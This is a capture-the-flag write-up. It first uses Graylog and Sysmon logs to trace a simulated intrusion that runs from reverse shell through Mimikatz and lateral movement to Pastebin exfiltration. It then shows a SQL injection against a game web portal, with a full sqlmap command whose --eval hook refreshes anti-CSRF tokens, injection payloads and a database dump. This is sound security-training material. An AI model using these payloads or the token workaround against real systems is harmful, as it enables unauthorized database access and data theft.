Objective

image-20200111150334985

Link: https://studentportal.elfu.org/

On completing objective 8, Krampus gives me a new challenge:

As for those scraps of paper, I scanned those and put the images on my server.

I then threw the paper away.

Unfortunately, I managed to lock out my account on the server.

Hey! You’ve got some great skills. Would you please hack into my system and retrieve the scans?

I give you permission to hack into it, solving Objective 9 in your badge.

And, as long as you’re traveling around, be sure to solve any other challenges you happen across.

Terminal - Graylog

Challenge

I’ll zip through the steam tunnels to the dorm to find Pepper Minstix right in front of the door to the quad:

It’s me - Pepper Minstix.

Normally I’m jollier, but this Graylog has me a bit mystified.

Have you used Graylog before? It is a log management system based on Elasticsearch, MongoDB, and Scala.

Some Elf U computers were hacked, and I’ve been tasked with performing incident response.

Can you help me fill out the incident response report using our instance of Graylog?

It’s probably helpful if you know a few things about Graylog.

Event IDs and Sysmon are important too. Have you spent time with those?

Don’t worry - I’m sure you can figure this all out for me!

Click on the All messages Link to access the Graylog search interface!

Make sure you are searching in all messages!

The Elf U Graylog server has an integrated incident response reporting system. Just mouse-over the box in the lower-right corner.

Login with the username elfustudent and password elfustudent.

The terminal drops me into a Graylog instance for ElfU:

image-20200111150757311

When I log in with the credentials provides, I’m given the Graylog interface:

image-20200111150822722

Mousing over the box in the lower left corner overlays the IR report template with ten questions:

image-20200111150835531

Question 1

Minty CandyCane reported some weird activity on his computer after he clicked on a link in Firefox for a cookie recipe and downloaded a file.

What is the full-path + filename of the first malicious file downloaded by Minty?

I clicked on All Messages to go to the Graylog search interface, and made sure to set the time bar to all messages again. I started with a search for firefox.exe.

image-20200111150856539

This returned 2,009 events, but I noticed the Fields window and EventID. I clicked it and then selected Quick Values, and this chart was added to my screen:

image-20200111150910529

I used the Microsoft documentation to look up those Sysmon IDs (and Google for the one Event Log ID):

EventID Log Type
1 Process Creation
2 File Creation Time Modified
3 Network Connection
5 Process Terminated
1001 Application Log Error Reporting

It makes sense there’s a ton of Network Connections given it’s Firefox. File Creation Time Modified seemed the most promising, given that it will happen on file creation. I’ll click the Add to Search button (magnifying glass with plus in it) and search with the new query, firefox.exe AND EventID:2. Now it’s down to 21 logs. I’ll close the EventIDs chart, and find TargetFileName in the Fields section, adding a Quick Values chart for it:

image-20200111150922562

I Googled how to use wildcards in Graylog and found that I can use RegEx in the Graylog docs. I wanted to get rid of all these files ending in .temp, since they seemed unlikely to be a threat. When I search for firefox.exe AND EventID:2 AND NOT TargetFilename:/.+\.temp/, I get only one log, with filename C:\Users\minty\Downloads\cookie_recipe.exe. That is the correct answer.

Question 2

The malicious file downloaded and executed by Minty gave the attacker remote access to his machine. What was the ip:port the malicious file connected to first?

Now is a good time for all those Network events. I’ll start with a search for EventID:3, and see that it has a field ProcessImage which is the full path to the executable. I’ll add that to my search: EventID:3 AND ProcessImage:C\:\\Users\\minty\\Downloads\\cookie_recipe.exe. That returns one event, which shows a destination of 192.168.247.175:4444 (and knowing that 4444 is the default port Metasploit uses makes this look even more interesting). That answer completes the question.

Question 3

What was the first command executed by the attacker?

(answer is a single word)

I wanted to look at process creation events, and ones where the parent process was the malware, so I searched for: EventID:1 AND ParentProcessImage:"C:\\Users\\minty\\Downloads\\cookie_recipe.exe". That returned 18 events. I sorted in time order, and started looking. The first one was conhost.exe, which is the malware getting a shell. Then there’s an event of the malware calling itself. But in the third log, I see the answer:

image-20200111151015663

Entering whoami solves the question.

Question 4

What is the one-word service name the attacker used to escalate privileges?

With the same search as before, I unchecked message and checked CommandLine in the Fields section, so now I have a table of command lines by time:

image-20200111151039893

I see at three attempts to list services between 5:25:50 and 5:26:45. Then the attacker uses PowerShell to download cookie_recipe2.exe from 192.168.247.175 (the same IP) at 5:28:32. The attacker runs it at 5:29.20.

Between 5:31:02 and 5:32:43, the attacker runs three different commands attempting to escalate privledges abusing a flaw in WebEx known as WebExec, originally discovered by Ron Bowes and Jeff McJunkin.

webexservice answers the question.

Question 5

What is the file-path + filename of the binary ran by the attacker to dump credentials?

Given I reached the end of the commands run under cookie_recipe.exe with a call that likely ran cookie_recipe2.exe as SYSTEM, I’ll pivot my query to still look for process creation, but this time with ParentProcessImage of cookie_recipe2.exe in the same folder.

image-20200111151104850

The process events show that the attacker tries to download the Mimikatz zip from GitHub, but then downloads the individual components (I’m guessing that Defender ate the zip). The second time they name the main exe cookie.exe, which is eventually run at 5:45:14 with the same command line syntax used for Mimikatz.

The answer is C:\cookie.exe.

Question 6

The attacker pivoted to another workstation using credentials gained from Minty’s computer. Which account name was used to pivot to another machine?

Since I didn’t see anything else interesting in the command run from either malicious binary, I started looking at SMB events by querying for EventID:3 AND DestinationPort:445. When I looked at source IPs, I was immediately drawn to the fact that 192.168.247.175 was there, the attacker’s IP. They were now coming directly in. I immediately added that to the filter, and found 40 events across two hosts:

image-20200111151128031

Unfortunately, the Sysmon Network logs don’t tell me much about who logged on. I searched for EventID:* to see what other events I had access to:

image-20200111151141567

4624 was interesting, as that’s a successful logged on event. I searched for these logs, and found that they have a field SourceNetworkAddress, and added that with the attacker’s IP to the search: EventID:4624 AND SourceNetworkAddress:192.168.247.175. I selected a few relevant fields, and the resulting table clearly identifed alabaster as the answer:

image-20200111151157044

Question 7

What is the time ( HH:MM:SS ) the attacker makes a Remote Desktop connection to another machine?

In the table above, I see one type 10 logon. That’s indicative of RDP, and 06:04:28 answeres the question correctly.

Question 8

The attacker navigates the file system of a third host using their Remote Desktop Connection to the second host. What is the SourceHostName,DestinationHostname,LogonType of this connection?

(submit in that order as csv)

My previous search looked for logon events where the attacker IP was the source. Now I want to pivot so that elfu-res-wks2 is the source, with the query EventID:4624 AND SourceHostName:ELFU\-RES\-WKS2.

image-20200111151220307

The last four events show a pivot to elfu-res-wks3, so the answer is: ELFU-RES-WKS2,elfu-res-wks3,3.

Question 9

What is the full-path + filename of the secret research document after being transferred from the third host to the second host?

If the file is transferred to ELFU-RES-WKS2, then it must have a file create time there. I’ll go back to EventID 2, and specify the source as that workstation. I could then just have the table display the TargetFilename and scroll through the 78 logs, or filter some more like: EventID:2 AND source:elfu\-res\-wks2 AND NOT TargetFilename:/.+AppData.*/ AND NOT TargetFilename:/C:\\ProgramData.*/ AND NOT TargetFilename:/.*\.tmp/. That returns a single file, C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf.

Question 10

What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?

After trying a few things unsuccessfully, I decided to search for /super_secret_elfu_research.pdf/. This would match on any log that contained that string. It had three hits:

image-20200111151240798

The first one is the file being accessed on wks3, where it was found by the attacker, before the attacker accessed this host. Not sure exactly what that is, but not really relevant to this investigation.

The second log is the file creation of that file on wks2, which was addressed in the previous question.

That last log is interesting. It’s a process creations for PowerShell. Expanding it to see where the file came in, I see it in the commandline:

image-20200111151251469

The attacker is using PowerShell to POST the file as a base64-encoded string to PasteBin.

I’ve got the process id for that PowerShell instance, so I can search for network logs from that process with EventID:3 AND ProcessId:1232, which returns one log, with DestinationIP of 104.22.3.84. Entering this submits the report:

image-20200111151302452

Hints

On solving, Pepper gives me a hint to look at SQL Injection and SQLmap for the ELFU server:

That’s it - hooray!

Have you had any luck retrieving scraps of paper from the Elf U server?

You might want to look into SQL injection techniques.

OWASP is always a good resource for web attacks.

For blind SQLi, I’ve heard Sqlmap is a great tool.

In certain circumstances though, you need custom tamper scripts to get things going!

Challenge Objective

Identify SQL Injections

The server I need to access is the Elf U Student Portal:

image-20200111151318588

The Student Body tab is a pretty static page. The Apply Now and Check Application Status links take user input, so I’ll start there.

I was actually poking at the site before I got the hints, and I tried to submit an application:

image-20200111151337553

I was aiming to test out the legit functionality, but it returned an error:

image-20200111151349679

The ' in my essay broke the SQL statement.

I went back and submitted again without any ', and got the expected success page:

image-20200111151401730

Having SQL injection into a INSERT statement is ok, but I’d rather have a SELECT statement. I’ll go to Application Status:

image-20200111151415009

When I submit, I get a message that my application is still pending.

I can add a ' into this field as well (I’ll need to bypass some client-side validation that it’s an email address, but 0xdf'@elfu.com seems to work). I get a nice error message telling me about the SQL query:

image-20200111151430872

That’s an SQL Injection.

Token

I’ve been running my enumeration through Burp Suite, so that I can see the history of the HTTP traffic. Looking at the POST request to submit an application, I see the following:

POST /application-received.php HTTP/1.1
Host: studentportal.elfu.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://studentportal.elfu.org/apply.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 177
Connection: close
Upgrade-Insecure-Requests: 1

name=0xdf&elfmail=0xdf%40elfu.com&program=cookies&phone=999999999&whyme=9&essay=9&token=MTAwOTk1OTkxMDQwMTU3ODA2MjM2MDEwMDk5NTk5MS4wNA%3D%3D_MTI5Mjc0ODY4NTMxMjAzMjMxODcxNzEzLjI4

The GET request to check an application is similar:

GET /application-check.php?elfmail=0xdf%40elfu.com&token=MTAwOTk2MDcwOTEyMTU3ODA2MzYwODEwMDk5NjA3MC45MTI%3D_MTI5Mjc0OTcwNzY3MzYzMjMxODc0MjY5LjE4NA%3D%3D HTTP/1.1
Host: studentportal.elfu.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://studentportal.elfu.org/check.php
Connection: close
Upgrade-Insecure-Requests: 1

Both requests include a token value. Where does that come from? It’s very common to see that embedded in the page that will submit this form, but that’s not the case here. Looking in Burp, I see that each time one of these requests is made, it’s preceded by a GET request to /validator.php.

image-20200111151458216

The response contains the token that is then sent:

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 03 Jan 2020 15:00:08 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 89
Connection: close
X-Powered-By: PHP/7.2.1
Vary: Accept-Encoding
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none

MTAwOTk2MDcwOTEyMTU3ODA2MzYwODEwMDk5NjA3MC45MTI=_MTI5Mjc0OTcwNzY3MzYzMjMxODc0MjY5LjE4NA==

I can see this in the page source as well. For example, in the application status check, the form has two input objects. One is the user entered email, and the other is hidden:

<input type="hidden" id="token" name="token" value=""/>

The value is empty. The form itself has onSubmit="submitApplication()". I can find that at the bottom of the page:

<!--  Custom js -->
<script>

    function submitApplication() {
        console.log("Submitting");
        elfSign();
        document.getElementById("check").submit();
    }
    function elfSign() {
        var s = document.getElementById("token");

        const Http = new XMLHttpRequest();
        const url='/validator.php';
        Http.open("GET", url, false);
        Http.send(null);

        if (Http.status === 200) {
            console.log(Http.responseText);
            s.value = Http.responseText;
        }

    }

</script>

It will call elfSign(), which issues a request to /validator.php, and sets the value of the hidden field to what comes back, and then submits the form.

I can play with getting tokens at the command line to see if I can spot any patterns. This loop will request 30 tokens, and print each with a timestamp:

$ for i in {1..30}; do echo -n `date +"[%H:%M:%S.%N]: "`; curl https://studentportal.elfu.org/validator.php; echo; done
[10:25:57.005539393]:MTAwOTk2MTcwMDQ4MTU3ODA2NTE1NzEwMDk5NjE3MC4wNDg=_MTI5Mjc1MDk3NjYxNDQzMjMxODc3NDQxLjUzNg==
[10:25:57.286290361]:MTAwOTk2MTcwMDQ4MTU3ODA2NTE1NzEwMDk5NjE3MC4wNDg=_MTI5Mjc1MDk3NjYxNDQzMjMxODc3NDQxLjUzNg==
[10:25:57.520966490]:MTAwOTk2MTcwMDQ4MTU3ODA2NTE1NzEwMDk5NjE3MC4wNDg=_MTI5Mjc1MDk3NjYxNDQzMjMxODc3NDQxLjUzNg==
[10:25:57.766582409]:MTAwOTk2MTcwMDQ4MTU3ODA2NTE1NzEwMDk5NjE3MC4wNDg=_MTI5Mjc1MDk3NjYxNDQzMjMxODc3NDQxLjUzNg==
[10:25:58.043010347]:MTAwOTk2MTcwMTEyMTU3ODA2NTE1ODEwMDk5NjE3MC4xMTI=_MTI5Mjc1MDk3NzQzMzYzMjMxODc3NDQzLjU4NA==
[10:25:58.287480234]:MTAwOTk2MTcwMTEyMTU3ODA2NTE1ODEwMDk5NjE3MC4xMTI=_MTI5Mjc1MDk3NzQzMzYzMjMxODc3NDQzLjU4NA==
[10:25:58.509873663]:MTAwOTk2MTcwMTEyMTU3ODA2NTE1ODEwMDk5NjE3MC4xMTI=_MTI5Mjc1MDk3NzQzMzYzMjMxODc3NDQzLjU4NA==
[10:25:58.703328031]:MTAwOTk2MTcwMTEyMTU3ODA2NTE1ODEwMDk5NjE3MC4xMTI=_MTI5Mjc1MDk3NzQzMzYzMjMxODc3NDQzLjU4NA==
[10:25:58.894875767]:MTAwOTk2MTcwMTc2MTU3ODA2NTE1OTEwMDk5NjE3MC4xNzY=_MTI5Mjc1MDk3ODI1MjgzMjMxODc3NDQ1LjYzMg==
[10:25:59.094976998]:MTAwOTk2MTcwMTc2MTU3ODA2NTE1OTEwMDk5NjE3MC4xNzY=_MTI5Mjc1MDk3ODI1MjgzMjMxODc3NDQ1LjYzMg==
[10:25:59.346343694]:MTAwOTk2MTcwMTc2MTU3ODA2NTE1OTEwMDk5NjE3MC4xNzY=_MTI5Mjc1MDk3ODI1MjgzMjMxODc3NDQ1LjYzMg==
[10:25:59.601830466]:MTAwOTk2MTcwMTc2MTU3ODA2NTE1OTEwMDk5NjE3MC4xNzY=_MTI5Mjc1MDk3ODI1MjgzMjMxODc3NDQ1LjYzMg==
[10:25:59.854208993]:MTAwOTk2MTcwMjQwMTU3ODA2NTE2MDEwMDk5NjE3MC4yNA==_MTI5Mjc1MDk3OTA3MjAzMjMxODc3NDQ3LjY4
[10:26:00.101610270]:MTAwOTk2MTcwMjQwMTU3ODA2NTE2MDEwMDk5NjE3MC4yNA==_MTI5Mjc1MDk3OTA3MjAzMjMxODc3NDQ3LjY4
[10:26:00.349557025]:MTAwOTk2MTcwMjQwMTU3ODA2NTE2MDEwMDk5NjE3MC4yNA==_MTI5Mjc1MDk3OTA3MjAzMjMxODc3NDQ3LjY4
[10:26:00.618499957]:MTAwOTk2MTcwMjQwMTU3ODA2NTE2MDEwMDk5NjE3MC4yNA==_MTI5Mjc1MDk3OTA3MjAzMjMxODc3NDQ3LjY4
[10:26:00.877819283]:MTAwOTk2MTcwMzA0MTU3ODA2NTE2MTEwMDk5NjE3MC4zMDQ=_MTI5Mjc1MDk3OTg5MTIzMjMxODc3NDQ5LjcyOA==
[10:26:01.143027733]:MTAwOTk2MTcwMzA0MTU3ODA2NTE2MTEwMDk5NjE3MC4zMDQ=_MTI5Mjc1MDk3OTg5MTIzMjMxODc3NDQ5LjcyOA==
[10:26:01.394431924]:MTAwOTk2MTcwMzA0MTU3ODA2NTE2MTEwMDk5NjE3MC4zMDQ=_MTI5Mjc1MDk3OTg5MTIzMjMxODc3NDQ5LjcyOA==
[10:26:01.647857312]:MTAwOTk2MTcwMzA0MTU3ODA2NTE2MTEwMDk5NjE3MC4zMDQ=_MTI5Mjc1MDk3OTg5MTIzMjMxODc3NDQ5LjcyOA==
[10:26:01.826859585]:MTAwOTk2MTcwMzA0MTU3ODA2NTE2MTEwMDk5NjE3MC4zMDQ=_MTI5Mjc1MDk3OTg5MTIzMjMxODc3NDQ5LjcyOA==
[10:26:02.022492112]:MTAwOTk2MTcwMzY4MTU3ODA2NTE2MjEwMDk5NjE3MC4zNjg=_MTI5Mjc1MDk4MDcxMDQzMjMxODc3NDUxLjc3Ng==
[10:26:02.206374632]:MTAwOTk2MTcwMzY4MTU3ODA2NTE2MjEwMDk5NjE3MC4zNjg=_MTI5Mjc1MDk4MDcxMDQzMjMxODc3NDUxLjc3Ng==
[10:26:02.386550168]:MTAwOTk2MTcwMzY4MTU3ODA2NTE2MjEwMDk5NjE3MC4zNjg=_MTI5Mjc1MDk4MDcxMDQzMjMxODc3NDUxLjc3Ng==
[10:26:02.633353918]:MTAwOTk2MTcwMzY4MTU3ODA2NTE2MjEwMDk5NjE3MC4zNjg=_MTI5Mjc1MDk4MDcxMDQzMjMxODc3NDUxLjc3Ng==
[10:26:02.882306613]:MTAwOTk2MTcwNDMyMTU3ODA2NTE2MzEwMDk5NjE3MC40MzI=_MTI5Mjc1MDk4MTUyOTYzMjMxODc3NDUzLjgyNA==
[10:26:03.124189954]:MTAwOTk2MTcwNDMyMTU3ODA2NTE2MzEwMDk5NjE3MC40MzI=_MTI5Mjc1MDk4MTUyOTYzMjMxODc3NDUzLjgyNA==
[10:26:03.374502618]:MTAwOTk2MTcwNDMyMTU3ODA2NTE2MzEwMDk5NjE3MC40MzI=_MTI5Mjc1MDk4MTUyOTYzMjMxODc3NDUzLjgyNA==
[10:26:03.607554029]:MTAwOTk2MTcwNDMyMTU3ODA2NTE2MzEwMDk5NjE3MC40MzI=_MTI5Mjc1MDk4MTUyOTYzMjMxODc3NDUzLjgyNA==
[10:26:03.834797735]:MTAwOTk2MTcwNDMyMTU3ODA2NTE2MzEwMDk5NjE3MC40MzI=_MTI5Mjc1MDk4MTUyOTYzMjMxODc3NDUzLjgyNA==

I can see that each time the token changes, it’s been about 1 second, with the change happening between 0.82 and 0.85 seconds on my host. If I want to send a lot of automated requests to this site, I’ll need to either understand the algorithm generating these tokens, or have my script grab a token before each request.

sqlmap –eval

sqlmap is a tool for automating SQL injections. The --eval parameter with sqlmap will allow me to provide some python code that will run before each request is sent. There’s not a ton of documentation about this on the internet. I found a couple blog posts like this and this, but they all seem to deal with post parameters. I used a trick from the second post, setting --eval=import pdb;pdb.set_trace()". This will drop me into a debugger session each time it makes a request, and I can look around at what variables I have to play with.

To verify I was what others were doing with POST requests, I started there, with python3 -m http.server 80 running in another window to see the requests made:

root@kali# sqlmap -u 'http://127.0.0.1/' --data 'elfmail=*&token=' --eval="import pdb;pdb.set_trace()"
...[snip]...
[11:36:40] [INFO] testing connection to the target URLou want to process it? [Y/n/q] 
--Return--
> <string>(1)<module>()->None
(Pdb)

At the prompt, I can view the local variables:

(Pdb) locals().keys()
['__builtins__', 'uri', 'lastPage', u'token', '_locals', u'elfmail', '__return__', 'pdb']

As expected, both elfmail and token show up as variables.

But I need to target a GET request. I’ll switch sqlmap and try the same thing:

root@kali# sqlmap -u 'http://127.0.0.1/?elfmail=*&token=' --eval="import pdb;pdb.set_trace()"
...[snip]...
--Return--
> <string>(1)<module>()->None
(Pdb) locals().keys()
['__builtins__', 'uri', 'lastPage', u'token', '_locals', u'elfmail', '__return__', 'pdb']

So far the same. I’ll hit c a few times to get a few requests in where sqlmap is actually sending some injection payload tests. Then I’ll try changing one:

(Pdb) elfmail
u'2921'
(Pdb) elfmail="changed"
(Pdb) c

At my web server:

127.0.0.1 - - [03/Jan/2020 11:45:40] "GET /?elfmail=changed&token= HTTP/1.1" 200 -

Now I’ll change token:

(Pdb) token
u''
(Pdb) token="changed_token"
(Pdb) token
'changed_token'
(Pdb) c

It doesn’t change:

127.0.0.1 - - [03/Jan/2020 11:47:10] "GET /?elfmail=%27KRFYab%3C%27%22%3EZIdSNg&token= HTTP/1.1" 200 -

But I can change the uri:

(Pdb) uri
u'http://127.0.0.1:80/?elfmail=%29%20AND%203155%3D3853%20AND%20%284025%3D4025&token='
(Pdb) uri += "added_value"
(Pdb) c

And the change comes through:

127.0.0.1 - - [03/Jan/2020 11:47:48] "GET /?elfmail=%29%20AND%203155%3D3853%20AND%20%284025%3D4025&token=added_value HTTP/1.1" 200 -

So all I need to do is have my eval code get the token, and append it to the end of the uri parameter. I’ll also include the fact that it’s MySQL (from the error message, MariaDB is MySQL) to reduce the number of tests. It works:

$ sqlmap -u 'https://studentportal.elfu.org/application-check.php?elfmail=*&token=' --eval='import requests; token = requests.get("https://studentportal.elfu.org/validator.php").text; uri += token' --dbms=mysql
...[snip]...
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 275 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: https://studentportal.elfu.org:443/application-check.php?elfmail=' AND 2529=2529 AND 'rwLT'='rwLT&token=

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: https://studentportal.elfu.org:443/application-check.php?elfmail=' AND (SELECT 6510 FROM(SELECT COUNT(*),CONCAT(0x7178767171,(SELECT (ELT(6510=6510,1))),0x7178766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'cjvL'='cjvL&token=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: https://studentportal.elfu.org:443/application-check.php?elfmail=' AND (SELECT 9753 FROM (SELECT(SLEEP(5)))JzPL) AND 'iJEG'='iJEG&token=
---
[11:22:07] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.1, Nginx 1.14.2
back-end DBMS: MySQL >= 5.0

Database Enumeration

I’ve got the following command which will be my base command:

sqlmap -u 'https://studentportal.elfu.org/application-check.php?elfmail=*&token=' --eval='import requests; token = requests.get("https://studentportal.elfu.org/validator.php").text; uri += token' --dbms=mysql

I’ll add flags now to enumerate the database. First, I can list the databases with --dbs:

available databases [2]:                 
[*] elfu     
[*] information_schema

Now, I’ll list the tables in elfu with -D elfu --tables:

Database: elfu
[3 tables]
+--------------+
| applications |
| krampus      |
| students     |
+--------------+

Since I’m trying to get information for Krampus, that’s a good table to dump, using -D elfu -T krampus --dump:

Database: elfu
Table: krampus
[6 entries]
+----+-----------------------+
| id | path                  |
+----+-----------------------+
| 1  | /krampus/0f5f510e.png |
| 2  | /krampus/1cc7e121.png |
| 3  | /krampus/439f15e6.png |
| 4  | /krampus/667d6896.png |
| 5  | /krampus/adb798ca.png |
| 6  | /krampus/ba417715.png |
+----+-----------------------+

Download Images

I’ll copy the table of images into vim and quickly reformat the list into a space delimited list of paths. Then I can use a loop with wget to get the images:

$ for path in /krampus/0f5f510e.png /krampus/1cc7e121.png /krampus/439f15e6.png /krampus/667d6896.png /krampus/adb798ca.png /krampus/ba417715.png; do wget https://studentportal.elfu.org${path}; done 2>&1 | grep saved
2020-01-03 12:16:16 (1.56 MB/s) - ‘0f5f510e.png’ saved [209943/209943]
2020-01-03 12:16:16 (2.33 MB/s) - ‘1cc7e121.png’ saved [83483/83483]
2020-01-03 12:16:17 (1.40 MB/s) - ‘439f15e6.png’ saved [138222/138222]
2020-01-03 12:16:17 (1.88 MB/s) - ‘667d6896.png’ saved [141103/141103]
2020-01-03 12:16:17 (1.76 MB/s) - ‘adb798ca.png’ saved [179654/179654]
2020-01-03 12:16:18 (1.51 MB/s) - ‘ba417715.png’ saved [151533/151533]

Reassemble Note

I’ll open Gimp and File -> Open as Layers, then select all six images. I get this:

image-20200111151744496

I can see each image is it’s own layer, so I can work with it independently just like I did in the key challenge. I went to Image -> Canvas Size… and set height and width to 1000% to give myself some space to work with. Now I can grab each layer, rotate it (Shift+R) and move it (M). Once I get images in place, I’ll click on the lock icon next to the eye back in the layers window:

image-20200111151802700

Now I can move those layers together with one move.Once I have them together, I’m still missing a piece, but I can make out all but who the note is from:

image-20200111151833282

I can answer the objective, Super Sled-o-matic. And while the villain’s name is in the one missing piece, the shape of the gold background image is a big hint.